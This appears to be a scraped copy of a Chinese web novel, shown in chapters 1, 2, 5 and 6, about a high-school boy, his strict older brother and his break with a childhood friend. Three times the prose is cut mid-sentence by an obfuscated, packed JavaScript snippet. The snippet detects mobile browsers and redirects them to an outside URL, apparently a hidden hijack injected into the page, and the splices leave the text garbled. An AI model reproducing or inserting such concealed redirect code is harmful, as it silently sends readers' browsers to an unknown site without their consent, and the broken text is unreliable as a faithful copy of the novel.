《别惹我生气》 1. 第 1 章 “纪羽。” 声音由远及近,模模糊糊,听不真切。 纪羽把头往更深处埋,直到眼前又是不见天光的乌黑,他皱着眉,紧抿着嘴没有要回应的意思。 那声音又响起一次,带着点得不到回应的冰冷怒意。 在纪羽生活的宁海市,有一则家喻户晓的传闻。传闻说到半夜时分,有个年轻人在睡梦中感到面上拂过一阵凉风,风里夹杂着细弱的人声,似有似无,年轻人集中精神去听,听到了微弱人声中的自己的名字。 一声一声,叫得越来越急,越来越响。 年轻人不耐烦地起身回应,却不见来人。他半梦半醒间又躺了下来,那声音却始终纠缠着他…… 一夜,两夜……直至一月后,那年轻人在睡梦中再也没有醒来。 纪羽小时候听了这故事,吓得每晚睡不好,硬是磨着纪律睡在他房间的地板替他驱魔才安心。 姓名牵着三魂六魄,重要得不能再重要,纪羽的名字又那么轻,必须使劲拽住才行。 纪羽打定了心思不回应,整个人钻进暖和蓬松的被子,缩成一团,脸颊贴着胳膊肘,闷闷地呼吸。 “唰”一声,纪羽好不容易积攒起的热量逸散在空气中,冷空气贴着皮肤,纪羽忍不住蜷缩了脚趾。 倒没声音继续喊他了,但纪羽每根寒毛都兢兢业业地竖起,混沌的困意去了大半。 房间里闯入了不速之客。 纪羽谨慎地睁开一只眼,看到床侧居高临下盯着他的男人,穿戴整齐,面无表情。 他单手提着被子,和纪羽对上视线,冷冰冰地开口:“我数到三。” 纪羽默默捣腾试图勾回被子的腿终于消停,转而向床侧踢去。 “纪律!我还在睡觉!” 不分是非,蛮横到无理也要先发难,好像什么事都要先紧着他的感受来。纪律熟练地迈步一跨,避开了攻击。 “你也知道你还在睡觉。” 他看着纪羽迷蒙的睡眼,乱糟糟蓬起的头发,心底的火又一股一股冒上来:“正式开学三天了,我不回来你是不是打算在家待一辈子?韩姨说你前两天感冒咳嗽,我还当你真病了!” 现在再看,纪羽睡得脸蛋白里透红,踢人的动静更不小,哪里像生了病,分明是犯了皇帝脾气,想在家登基了! 皇帝纪羽看着纪律横眉竖眼那样,脾气瞬间被激起,噌地站在床上:“你的意思还是韩姨替我骗你了?!纪律,你别回来就对我眼不是眼,鼻子不是鼻子的,韩姨哪有为了我撒谎过!我好不容易睡个好觉,你还要把我吓醒,有你这样的人吗!” 他说得大声又急,不可避免地带了点鼻音,眼睛也红了,明明他站得更高,声音比纪律大了好几倍,还像是受了很大委屈似的,胸膛上下起伏地喘气,恶狠狠地用视线剐着他亲大哥。 室内突然变得很安静,这一片的鸟都急匆匆地飞远了,日光从纪律拉开的窗帘缝隙中挤进来。 纪律没和他接着吵,他从纪羽记事起就一副可靠得不得了的样子,好像出厂设定就是个精英,要不然怎么会像名字一样当了个人人称赞的律师,别人叫他纪律的时候,都不知道是在直呼他的名字还是表达礼貌。 那些称赞里不仅没有纪羽的一份,相反的,他对纪律有很多不满。纪律自己也清楚,但他不想在这时候和纪羽掰扯。 “把校服换上,收拾东西,十分钟后我开车送你去学校。” 纪律退了一步,用他最平常的语气下达命令,迈步离开房间。 房门咔哒合上。 纪羽浑身的气势瞬间被抽走,整个人颓唐地蔫吧下来,咳嗽两声,坐倒在床上,再顺着床沿滑到地面。 烦人。 十分钟后,纪羽从楼上下来,已经很有人样,纪律难得没挑他的刺,一言不发地坐进车里。 纪羽坐在副驾后排,与纪律保持着距离,后视镜里映着他抵触的半张脸。 早上七点一十八分,和他同龄的学生早早进了班级,眼下早自习都快结束准备上第一节课,他睡到刚刚才起,还是不满足地耷拉着脸。半垂下的眼睛像一只长尾山雀,叽叽喳喳地诉说不满。 在纪律印象里,纪羽总是在闹,要这个要那个,打他出生起就这样。闹着要人抱着,要时时刻刻有人把目光放到他身上,要别人有的,也要别人没有的。 眼泪浸泡了纪羽的整个童年,纪律的衣服上也总是沾着水渍。 纪律多半时候是懂纪羽在发什么脾气的,不过随着纪羽长大,这个多半要多打折扣。 “我跟老师打过招呼了,今天不算你迟到。”纪律停下等红灯,早高峰车子挤成方阵,尾气从四周飘进来。 纪羽摇下的的车窗又被纪律关上,他压低眉头,五官都愤愤地挤在一起也没肯把脸转过来。 他今天本来就请假了。 纪律眼睁睁看着纪羽把三明治捏得凹凸不平:“还没和好?” 三明治彻底被压扁,纪羽开口:“你别吵!” 纪羽憋了一路没说话,乍然开口嗓子发哑压根没气势,他把这件事又算在纪律头上:“……我不想听你说话了。” “纪羽,”可惜纪律压根就没有闭嘴的观念,“这个学期你就高三了,别像刚上学那会儿和同学闹脾气就不去上课,幼不幼稚?” 兄弟间相差十岁,在纪律看来,纪羽太多烦恼都显得幼稚可笑。纪羽一门心思对抗他:“你可以别管我……” 绿灯亮了,纪律第一时间驶离,身后的喇叭卡了壳,纪羽的后半句话声音低低的:“反正你只会说风凉话。” “……” 一路通畅,纪羽赶在早操结束前进了校门。 教室里闹哄哄的一片,各种味道混杂在一块儿袭来,纪羽捏着纪律给他重买的饭团站在门口,一时不想进去。 “纪羽。”一个女生从身后拍了拍纪羽的肩膀,“你怎么今天来了?” 纪羽转过身,女生的发丝被纯黑一字夹一丝不苟地夹住,无框眼镜正正好卡在鼻梁中间,两只眼睛的中轴,显得有点古板。 她抱着笔记本, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126394|180070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 封面上端端正正写着:展舒文。 两人一起进了教室,除了班级有变动,座位仍是原来的位次,东西在放假前就搬了过来,纪羽坐在展舒文后边。 展舒文放下本子,转过来问:“你和贺思钧和好了?” 纪羽跳过了这个问题,把饭团“咚”地丢进桌洞:“今天我哥回来了。” “哦,”展舒文点点头,“今天开学摸底考——你背书包干什么?” “我觉得,我还没好全。”纪羽的脸色变得很难看,展舒文当即道:“我给你打急救电话?” “……”纪羽拉下展舒文举在耳边的手掌,“别讲冷笑话。” 整整一个暑假,纪羽大多数时间浑浑噩噩,不在睡的时间就在吃药检查,别说复习,就连单词都没看过一眼。这时候回来参加考试,和逼瘸子踢足球有什么区别? 纪律回来准没好事。 感冒似乎真没好全,纪羽脑袋发闷,心里也又闷又堵。班里人进进出出地整理资料收拾课桌,纪羽直愣愣地站在桌边,有点不知道该怎么适应这份节奏,显得违和而格格不入。 不就几场考试。 纪羽扫了两眼就低下头整理课本,神采又飞扬起来,他长相本就张扬,像某些外表华丽的鸟或蛇类,充满攻击性,偏偏右脸脸颊上有颗小痣,多添了几分稚气。 贺思钧正站在他背后看着这颗痣。 纪羽笑起来时脸颊会更饱满一点,不显眼的小痣也会变得醒目,像鱼池里上浮的小气泡,让人忍不住盯着看。 盯得久了,就会惊扰水下。 “让一下。” 贺思钧侧身让人,纪羽闻声转头也看到了他。 坦白来说,贺思钧并没有长着一张让人生厌的脸,相反,他长相极其端正,剑眉星目,好似老电视剧里刻板印象里的正派角色。 仿佛下一秒就要说出点警示名言来。 纪羽看着贺思钧开口:“纪羽。” 然后呢? 周遭脚步声、书本落在铁皮柜的碰撞声都暂时按下静音键,贺思钧个子也像名门正派的主角那么高大,挡住了纪羽全部视线,让纪羽不得不正视他,听他说点什么。 他们有将近两个月没说过一句话,没见过一次面。 这在之前几乎是不可能发生的事。 但所有人都把他们和好当做理所当然的事,纪羽心底的火苗在烧,问他自己:凭什么? 纪羽面色几经变换,最终停留在一个稍显冷淡的表情,既不欢迎,也没多在意,一下子令贺思钧卡了壳。 他比纪羽身形大出一圈,身姿挺拔地站着看似气定神闲,实则要说什么都没准备好。 纪羽见他这副模样,气得想拿起书挥他脸上,终于还是按捺住只用眼睛瞪着他。 那抵触的目光甫一转换为怒意,贺思钧就像被棒骨砸了脑袋的狗似的找回了状态,说:“我——” “纪羽——”班主任李玄在前门招呼他,“你过来一下。” 纪羽当即转身从另一侧过道离开。 2. 第 2 章 等纪羽再回到教室,考场已经被布置得差不多了,相当一批人已经去到自己的考点,展舒文还在位置上等他。 “柳承和贺思钧帮你把书理好了在走廊,你的笔记本资料放在后边柜子里。”展舒文撕下一张便签纸,“你的考场座位号我都记好了,你直接过去吧。” 展舒文和他不同路,纪羽心事重重地独自踏上去往战……考场的路。 没走几步,身后传来脚步声,纪羽不用想也知道是谁,他没打算回头也不想理会。 封闭的走廊通道几盏灯年老失修,映出的影子也浅浅一层,时隐时现。 偏偏贺思钧跟得那么近,影子都大张旗鼓追到了纪羽脚底,纪羽看不惯他那么嚣张,脚下重重一碾,健步拐进了教室。 贺思钧和他不是一个考场,纪羽总算能平心静气地落座。 他们俩成绩相差不多,纪羽是六边形战士,每门功课都欠缺得很平均,贺思钧则是麒麟臂麻杆腿的好苗子。 贺思钧在发展上的均衡都该怪罪他的自以为是。 贺思钧总认为自己的决策永远正确,哪怕将参考答案摆在他面前,他也不肯认同,执意要将背道而驰的解法填上。 ——“纪羽,你要相信我,这是最好的处理方式。” 贺思钧永远笃定,且从不认为自己会犯下不可挽回的过错,相信一切摆在眼前的阻碍都有解决方案。 就像他们今天见面,贺思钧看着还是和往常一般无二,好像他们之间什么都没发生过。 他没有纪羽想象中被冷落的急切,情绪内敛且平静。 似乎只有纪羽一个人把两月前的冲突当一回事。 大概贺思钧也认为纪羽不过是像曾经很多次那样闹脾气。等纪羽的气消了,他们还是能形影不离,继续做包容、和谐、友爱的好朋友。 可纪羽难道就缺他一个贺思钧当朋友? 可贺思钧不是多重要的人,只是纪羽生活里一个阶段性结交的朋友,他们在这段时间里再亲密无间,再不可分割,到了下一个阶段,不合适的人还是要分道扬镳。现在,就是划分两个阶段的坎。 纪羽又一次下定决心,不再想贺思钧没说完的话是什么,忽略贺思钧偷偷塞进他校服口袋散发余温的紫薯包,他决心把贺思钧彻底丢出自己的生活。 - “你就闭着眼睛踵河——听天由命吧。李老师不是也说尽力就好吗?” 柳承安慰纪羽,嗓音不像他这个年纪应有的低沉,在嘈杂的食堂不太容易分辨。 后边排队的人叽叽喳喳地推搡笑闹,前后的空隙不到十公分,以柳承为圆心半径半米内倒很空旷。 纪羽赶在阿姨不耐烦前终于指了一道菜,边刷卡边回道:“但我可是睁着眼睛做题的。” 柳承没忍住闷笑两声,低沉的频率传播得广,配上他那老成的脸和魁梧健壮的身材,不少人频频侧目,柳承当即收了笑,踱步到窗口,小声说出早就预选好的菜名。 “什么?”阿姨没听清,扯着嗓子喊,“说大声点,挺大个人!” 柳承天生性格软和,却因为外表异于常人,不太擅长和人打交道,更不敢在大庭广众之下大声说话。 没如预想中快速打饭走人,柳承心理压力剧增,喉咙紧绷,额头上一会儿就冒了汗:“我要……” 因为紧张声音压得更低了,只听到嗡嗡嗡的响。 “他要宫保鸡丁、醋溜白菜和番茄炒蛋,阿姨,多打点饭,再浇一勺鸡腿汤到饭上!” 高二的下了课,一批一批地挤进食堂,柳承端着餐盘着急忙慌从越发拥挤的队伍里出来,紧跟着纪羽,低着头小声说:“谢谢。” “这个窗口的阿姨快退休了,耳背,下次去7号窗口,那个阿姨新来的,年轻,听力好。”纪羽配合着他的步调,看他臊眉耷眼,又一巴掌拍他后背上,“别驼背,丑死了。” 柳承很崇拜纪羽有话直说的态度和性格,和他相处最自然,努力绷直腰背:“小羽,贺思钧不和我们一起吃吗?” 角落里展舒文瞧见了他们,抬手招呼他们过去,纪羽大步走在前领路,不容置喙地说:“我们吃我们的,别管其他人。” 落了座,吃上两口饭,柳承大脑终于重启成功,后知后觉道:“你和贺思钧吵架了吗?” 展舒文眨眨眼睛:“纪羽,豆腐是无辜的。” 纪羽又夹碎一块豆腐,露出惨白的内里。 不得不说,柳承在感知人的情绪变化上还算敏锐并贴心。 “没事的,你和思钧从小一起长大,都是水泊梁山的兄弟——越打越亲热。我觉得你们的矛盾很快就会解决了。” “柳承,你的歇后语越说越好了。”展舒文夸奖。 “谢谢,我记了一整本,你感兴趣的话考完试我可以分享给你。” “柳承。”纪羽放下筷子,碰撞餐盘咔哒一声响,柳承不自觉挺直腰背,就差喊到。 “暑假每周三次逛菜市场你逛了吗?” 柳承饭菜也不敢动了,一大幢人局促不安地低着头:“逛…逛了。” 他知道自己总是一副胆小的样子也不好看,就让纪羽他们帮忙想想办法,纪羽就教他逼着自己走出去。 柳承余光里瞥到纪羽抬头像是看了他一眼,又将视线转向了别处,他心里一抖心一横说了实话:“我不是一个人去的,晓怡粘着我,跟着我一起去了。” 这个晓怡不是别人,姓柳,是柳承的亲妹妹,今年十岁,活泼开朗到猫嫌狗憎,路边一声吆喝她都能接着茬聊。和她一块出门,柳承能舒舒服服当个锯嘴葫芦,买菜不用开口,柳晓怡已经还好了价,还要了把葱。 话说出口,柳承自己都脸热,放下筷子主动反省:“我知道我这种行为是口罩戴到鼻子上——不要脸。我不应该拿晓怡当借口,也不应该答应了你们却没做到,还不应该……” 忏悔还没说完,就被纪羽突然打断。 “我吃好了,先走了。” 柳承抬头只见纪羽端着餐盘起身,步履如飞,眨眼就融进人堆中走了出去。 “他生气了吗?”柳承忧心忡忡,却不见展舒文回应,顺着她目光扭头,看到贺思钧就在身后。 冷冷淡淡的一张脸,在贺思钧的脸上柳承看不到半分情绪起伏,想打招呼的话也堵在嗓子眼,讷讷地说不出口。 展舒文招招手:“这里还有位置。” “不用了,谢谢。” 贺思钧拒绝了她的好意,端着他一口未动的午餐大踏步离开。 - 距离午休还有段时间,露天走廊上下都听得到学生争分夺秒说话打闹的声音。 高三十七班也不例外,几个留在教室吃面包的女生围着纪羽的位置,你一句我一句地说话。 “我还以为你转班了呢,隔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126395|180070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壁班里有几个转去艺术班了,我们还在打赌你是学播音还是学表演。” 纪羽笑笑:“为什么是这两个?” 他一笑,四周也开始笑,起哄般说:“因为你长得漂亮啊,不上电视不是可惜了吗?” “嗯……你们说的有道理。”纪羽颇为骄傲似的仰起脸,睫毛弯弯地眯着眼。 班里的人都挺爱和纪羽说话,递出去的每一句话都能被稳稳托住,纪羽笑意吟吟,身上那点骄矜傲气反倒显得可爱。 “纪羽不是还会毛笔字嘛,是不是也能参加艺考啊?” “那叫书法好吗,说毛笔字都不高端了。” “我要是有点艺术细菌我也想试试艺考,多门手艺多条出路,会乐器是不是也成?” “你那叫会乐器吗,人家弹琴你弹棉花,暑假里有个很火的青年乐队比赛你看过没,人家那种水平才叫……” …… 纪羽嘴角衔着笑听她们东拉西扯,他和绝大多数人一样,都只有高考这一条路要走。刚上高中的时候纪律问过他想不想出国,纪羽眼睛都红了险些哭出来:“你别想把我赶走,我才不要一个人到那么远的地方。” 那时候纪羽才考上排名在市里名列前茅的一中,鼻子都快翘上天,正是志得意满的时候,哪里听得这种话。 事实证明,纪律给出的选项只是看出了纪羽不是学习这块料,可以说是资质平平,十之五六是出于良心给出的劝告。 但纪羽也不后悔,他听从自己的感受,尊重自己的选择。 “你是怎么和贺思钧做朋友的啊?”话题拐回了纪羽身上,女生压低声音悄悄说,“你不在的时候贺思钧都不怎么和我们说话,我们还问你怎么没来,他也不回答。” 见纪羽笑容微滞,女生又连忙摆手道:“我不是在说他坏话啊,因为贺思钧太有个性了嘛,又和你关系很好,所以我们才有点好奇。” 一旁的人附和:“对啊对啊,之前听说你们都认识很久了,好羡慕你们的关系。我和我的好朋友已经很久没见面了……你们今天居然没一起吃饭,不然都没机会和你聊天。” 贺思钧贺思钧贺思钧,哪里都是贺思钧,纪羽险些绷不住哼出声。 他和贺思钧不是连体婴,不是子集和母集,也不是成双成对的染色体。 他和贺思钧只是朋友,甚至现在这个朋友前面还要加一个过去式,就那么值得所有人问他:为什么你没和贺思钧待在一起? 不过面对同学,纪羽没有高调宣布他们已经掰了的事实,云淡风轻地说:“再好的朋友,每天待在一起也会腻的。” 感情那么脆弱的东西,只要一方不加以维护,放置在一旁,自然而然就消散了。 纪律说得对,他又不是小孩了,和人起了冲突就要闹到天翻地覆。 纪羽长大了,他该用成年人的方式结束一段关系。 冷处理就是一项不错的方法。 突然,讨论声弱了下去,纪羽以为是老师来了,收敛了笑意拿出书本准备临时抱佛脚,桌面投下一片阴影。 还有一袋刚出炉的大米吐司。 无蛋奶的纯谷物款,鼓鼓囊囊挤在牛皮纸袋里,是校外才有的包装。 “记得吃。” 贺思钧留下这句话,转身回了座位。 纪羽偏过头,看见刚围在自己身边的女生表情夸张地做着口型:腻——啦—— 5. 第 5 章 纪羽贴得极近,目光在贺思钧面上来回逡巡,不肯落下他一丝神情波动。 纪羽的呼吸节奏很浅,轻微的喘息声靠近耳边,让贺思钧一时忘了回答。 “什么?”他屏住呼吸,表情终于有了些许松动。 不再像一个被设定好的程序,稳定地输出固定的模块。 “为什么要这么说?” 或许是在病中的缘故,纪羽飞扬的神采黯淡下来,眼睛里却像烧着火,他固执地说:“是我要先问你!为什么你不觉得自己有错,为什么不承认?” 他还是在执着于那件事,执着于贺思钧的无动于衷。 “我明明告诉过你很多回了,不要当做什么事都没发生过,你为什么还是这样一而再再而三地假装很关心我,塞给我一堆我根本不需要的东西?” 纪羽倾身上前,眼睛里着了火,他抓住贺思钧的衣领,强迫他曲着腿弓着背与他平视:“你总是这样自以为是地对我好,你把我当什么?谁给你的任务,谁要你担责任了!我教了你那么多遍,你还是听不懂人话…还是说,只有你爸教给你的东西你才听得进去,你只要无条件执行当他的好儿子就够了!” 紧攥在贺思钧身前的手腕被握住,纪羽甩手拍开:“你别碰我。” “我不是他教的。”贺思钧瞳孔微动,追着纪羽移开的腕骨,“我八个月大就认识你了。” 纪羽被他突如其来的一句话鲠了一下,手按上他的头顶,被粗硬的头发刺了一下,下意识扯了一把又推开。 “你还知道我们从小就认识。” 纪羽比贺思钧还大了一岁,在贺思钧还只会在床上翻身的时候,他已经被大人追在身后满地乱走了。 “那你为什么不帮我,我说了我不想错过的,你不帮我,只会和纪律一样骗我,你和纪律是一伙的。” “我不是。” “但你没有帮我!你没有和我站在一起,你也觉得我总是惹麻烦,我总是说错话,弄出一堆事来等着你们解决。”纪羽的肩膀松垮下来,双手垂在腿面,他低着头,隐隐带着哭腔,“你从来都没有把我的话放在心上。” 在他上方,贺思钧皱起眉,手臂悬在半空,又放了下去。 更多时候,纪羽会想,如果纪春兰和贺思钧的母亲不是多年的朋友,他和贺思钧会成为朋友吗? 贺思钧为人死板、固执、无趣,讲话乏味且枯燥,但也可归结为懂事、省心。 纪羽则像是完全照着贺思钧形容词的反面出生的。 他太敏感,思维活跃,情绪多变,他要身边所有人都把目光与精力集中在他身上,否则他就会像失去雨露的花草那样枯萎。 就算如此,纪羽还是挑剔。 “因为我们从小就认识了,所以你只是想维持这段关系,你觉得很可惜,换个人,不是我,不是纪羽,你还是会做一样的事。” 纪羽曲起腿,把胳膊搭在膝盖上,脸埋在交叉的手臂间,看向白花花的墙壁,语气淡淡。 就像纪律只能接受纪羽就是他的弟弟,而无法真正选择一个省心的人替代,很多关系都是被迫接受,是没有妄想成真的余地的。 当然,纪羽绝非是认为自己不够好,如果可以,他也希望父母能生下一个更合他心意,更爱他的哥哥。 但可惜,纪律先于他出生十年,纪羽在此事上毫无话语权。 而公平的是,纪律也没能预料到纪羽将会成为他的弟弟。 他们在这一件事上扯平了。 就此看来,友情就显得宽容而和谐得多了,至少他们在任何时候都有取舍的权力。 “我不懂。”贺思钧试探着靠近纪羽坐下,这样的思考压根就不会出现在他的大脑里。 纪羽总是忘记贺思钧是一个阅读理解只能得个位数的单细胞生物。 “纪羽,你要和我绝交吗?” 可喜可贺,贺思钧终于在纪羽第一次提出绝交的两个月后意识到纪羽的真正意图。 不是闹脾气,也不是要看到贺思钧和好的决心,纪羽就是单纯地,纯粹地想结束他们的关系。 当贺思钧终于能正面理解并回应纪羽的需求时,纪羽反而多了一点耐心。 他转过身,端端正正地坐好,用手背抹眼睛:“嗯,我们不要做好朋友了。” “我和你道歉呢?” “也不行。” 纪羽认真地说给他听:“你做了我讨厌的事,不尊重我,我觉得很不舒服。但你不觉得你有错,你做了自己认为对的事。所以就算你现在向我道歉,我也不会原谅你,因为事情的重点根本不在你有没有认识到错误这件事上,是我们的性格不合。” 贺思钧安静地垂眼听着,面色恢复一贯的平静,纪羽终于从中获得十足的安定感,觉得可以掌控局面了。 “你对我好其实是一种习惯,可能不是发自真心的,你自己也没有认真想过做这种事开不开心,对不对?贺思钧,你现在只是不习惯而已,等过段日子,你想清楚了,自然而然也就不会再想做给我送东西,帮我打水这些小事了。” 心底浮上一丝酸楚,又被迅速按了下去。 纪羽心道,难受是正常的,他又不是什么铁石心肠的人,失去一个本该很好的朋友不痛快是正常的。 比起难受,他更为自己能处理好自身关系而欣慰,他认为这是他迈向成熟的重要标志。 他希望贺思钧也能体面地接受这件事。 “你不是我,你怎么知道我不愿意做这些事。纪羽,做朋友和互相承担责任这件事并不冲突。” 贺思钧起身,倒了一杯水,送到纪羽嘴边:“你说我不尊重你,那你为什么要替我决定?” 纪羽都不知道他居然还能说出“子非鱼安知鱼之乐”这种话来诡辩,刚张开嘴要辩驳就被喂了一口盐糖水。 说着话喂口水又是什么意思? 纪羽感到极大的不尊重,气上心头,鼻子又塞了,从喉咙里挤出一声冷哼。 他不说话,贺思钧也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126398|180070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有开口。 鸟啼声声催促,提示夜幕将至。 床头手机屏亮起,纪羽余光瞥过,注意到时间,说道:“你再不走,就迟到了。” 果然,贺思钧放下水杯,站起身。 当纪羽以为这场不和谐的谈话又是无疾而终时,贺思钧说:“我同意。” “你同意了?”纪羽立刻掀开被子光脚踩在地面起身,犹疑地看着他。 贺思钧从来都是不会被说服的人,纪羽很清楚这点。他不清楚是什么让才执拗坚持自我的贺思钧改变想法,以至于他觉得自己出现了幻听。 “这次我不骗你,我尊重你的想法。” 贺思钧还是接受了,决定将自己和纠缠纪羽很久的坏情绪一起剥离,没有一条道走到黑。 或许从一开始他决定和纪羽对抗而非顺从他时,就注定结局是妥协。 他离开前对纪羽说:“之后就别躲着我了。” 纪羽愣了愣说,当然。再见面他们就只是普通同学,就算是出于社交的行为礼仪来说,都不该让对方太难堪。 贺思钧从露台原路返回时,纪律刚好开车回来。 被碰见从二楼攀墙跳下,贺思钧也没什么羞耻的情绪,拍拍手,接过纪羽丢下的背包,向纪律点头问好就离开了。 余晖褪去,天色深蓝,风也大了起来,纪律抬起头,看见纪羽还在露台上,扬声道:“换剧本了,这回要演罗密欧和朱丽叶?” 纪羽面无表情走进屋里,关门时玻璃剧烈颤动。 贺思钧还是迟到了,李玄把他领进办公室。 “出什么事儿了吗,你以前从来没迟到过,这次晚了半个小时,我给你爸妈打了电话,再迟一点就该报警了。” “没有。我在路上多花了点时间。” 李玄对贺思钧向来没什么办法,叹了口气道:“你这次摸底考成绩不理想,你自己心里有感觉吗?” 她抽出成绩单,从上向下滑,指到中间位次:“你看,和上学期比相差了一百多名。除了你,全班有五个人名次下滑了,那四个人性格就那样我就不说了,纪羽身体不好,我理解。你成绩一向很稳定的呀,虽然不是最好的那一批,但怎么会突然退步那么多呢,能不能和老师说,是不是假期里发生了什么事?” 黑白分明的表格上,贺思钧的名字被红笔重点标出,纪羽的名字在他下面两行,用较少的笔墨做了标记。 李玄耐心等着贺思钧的回答,见他一直看着那张成绩单,怕他多想,收了起来。 纸张从中间折叠,两处标记重合,贺思钧移过目光:“抱歉,是我没意识到重要性。” “唉——”李玄叹口气,“算了,这学期才刚刚开始,还有时间。贺思钧,你再加把劲,上军校还是很有希望的。你家里也有这方面的背景,好好努力,再坚持不到一年,你的前途就光明了。” 还有不到一年…… 贺思钧身姿挺拔,谦卑地低垂着头,神情平静地说道:“我知道了。” 6. 第 6 章 第三天的时候,纪羽再一次返回学校。即使他并不是多想受到知识的熏陶,但也好过在家里一直看着纪律一天比一脸凝重的脸色。 看到体温计上的数值终于回落到正常值,纪羽率先松了大大一口气。 “中午下课到门口拿饭。”纪律坐在车里说。 “不要。” 纪羽下车走出几步再回头,哪里还有车的影子。纪律我行我素的强权做派让纪羽很不齿,他把地上一块小石子当做纪律一脚踢开,慢悠悠晃进校门。 急切想回来的地方真在脚底下时,感觉也并非那么好。 尤其当他看到班级座位又被调整过,贺思钧的座位就在他右后桌时,心情极其微妙。 在他落入教育这张大网的前几个年头里,他还是贺思钧的学长,比他高一届,纪羽自认为那时候自己算是哥哥,对贺思钧是照顾居多。后来纪羽因病休学一年,贺思钧和他同年进入初中,两人关系不知不觉中反倒更亲近,纪羽一条裤子都愿意撕成两半,和贺思钧一人一半。 那时纪羽还天真无畏地找到纪律,问他能不能把贺思钧调班安排成他的同桌。 纪律问原因。纪羽刚起床,脑子还没开机,说:“我们两个班的进度不一样,贺思钧做两份作业太辛苦了,还总是错,要是一个班就轻松多了。” 纪羽当天没能去上学,在家哭着把开学以来所有作业重新做了一遍。 在双方家庭合力鞭策下,纪羽和贺思钧双双考入一中,也终于如愿被分到同一班级,后来经过选科分班,也坚守在一块儿。只不过一直被分配教室南北两极,免得互相残害学习。 兜兜转转的,倒是在他们关系大不如前时,靠得最近。 贺思钧没有抬头,纪羽也目不斜视地坐下,他今天来得早,教室里还没几个人,很安静。 不过两天没来,课桌上就堆了一摞卷子,大概是有人替他理过。 纪羽找到了评阅过的答题卷,错得都不少,分数比以往差了一截。 难怪纪律的脸色那么差劲。 “老师让你来了就去办公室找他。” “哪个老师?” “每个老师。” 贺思钧看到纪羽的脸一下子纠结地拧起来,提醒道:“今天是英语早读。” 纪羽松了一口气,抽出英语答题卷,走出几步又折返:“谢谢。” 贺思钧用红笔在练习册上打叉:“不用谢。” 再回来时,纪羽显得有点沮丧,像被暴雨打过的蘑菇,柔软的发丝略有凌乱地耷拉着,贴着他的脸颊额头。 李玄把他叫走前,还说他的头发太长了不精神,纪羽更加垂头丧气了。 早操十五分钟,纪羽没去操场,在办公室听训。 但其实老师对他的态度都很和蔼,和他指出问题的同时还不忘说一句,身体重要。 丁点儿难安的愧疚汇聚在一起,攒成了巨大的雪球,径直向纪羽滚来。 他好像拥有了一个完美无缺的借口,尽管他知道这些都不该怪罪在这上边。 李玄问他的一句话让他在此之外升起了一点慌张,她问:“纪羽,你以后打算做什么呢?” 那是不带任何讽刺、指责意味的询问,李玄常常鼓励他,哪怕是他临时赶回参加这一次考试,她也说:“你能来参加考试老师很高兴,最重要的是你面对它的态度。” 李玄像纪羽遇到过的很多无私奉献的教育工作者那样,希望帮助他。 “我不知道,李老师,我还没有想好。” “算了,”李玄打算拍拍他的背,看到他单薄的脊背,转而落到了他的肩头,“也不急在这时候,你再好好想想,还有时间。” 再不济,纪羽还有家里人做后盾,哪怕不早早定下目标,也有他的阳关大道。 纪羽像感知到什么,突然低下头,不敢看她脸上的神情。 - “我们去吃饭了,你一个人去拿饭可以吗?” 纪羽从困意中拔起脑袋,才注意到整整一上午竟然已经过去了,对展舒文摆摆手道:“没事,你们去吧。” 他本来想让柳承和展舒文和他一块儿吃,但转念一想,一是口味不一定合他们胃口,二是没提前打招呼份量也不一定够,最终还是作罢了。 九月高温不退,烈日依旧高悬。 纪羽走出教学楼就开始后悔,好歹去食堂的路上还有林荫道,到校门口的一长段路却是毫无遮蔽。 和纪律说清楚为好,这种看似关心实则烦人的举动还是别再有了。 强烈的光线近乎惨白,照得大地一片白茫茫,纪羽眯着眼赶路,觉得自己像在冰川上行走的企鹅。 看着挺远一段路,走起来确实也不近,尤其是在饥饿与炎热的双重压迫下。 纪羽只恨不得脚底地面裂成几块,载着他漂到校门口去。 “需要帮忙吗,同学。” 纪羽转过头又看见那张面瘫脸:“贺思钧,你能像个正常人类一样说话吗?” 装模作样的,不知道想怎的,纪羽警惕地问:“你不是跟踪我吧?我们才说好了的。” 一中允许午休出入校门,但开放时间很短,食堂经济实惠,除了离家近的走读生,没什么人出去。 更何况,贺思钧也没出校吃饭这个习惯。 “我出去买东西,跟着你是顺路,我也可以走你前面。” 贺思钧上前两步,坦荡地回看纪羽。 “我不用你帮忙,你走吧。”纪羽摆摆手。 “行。” 贺思钧迈步向前,三两步就走出去一大截,纪羽挺烦的。 现在走那么快,刚才跟自己后面走得慢吞吞演给谁看呢? 顶着一股劲,纪羽终于走到校门口。 “纪先生?”穿冲锋衣的小哥在门口挥手。 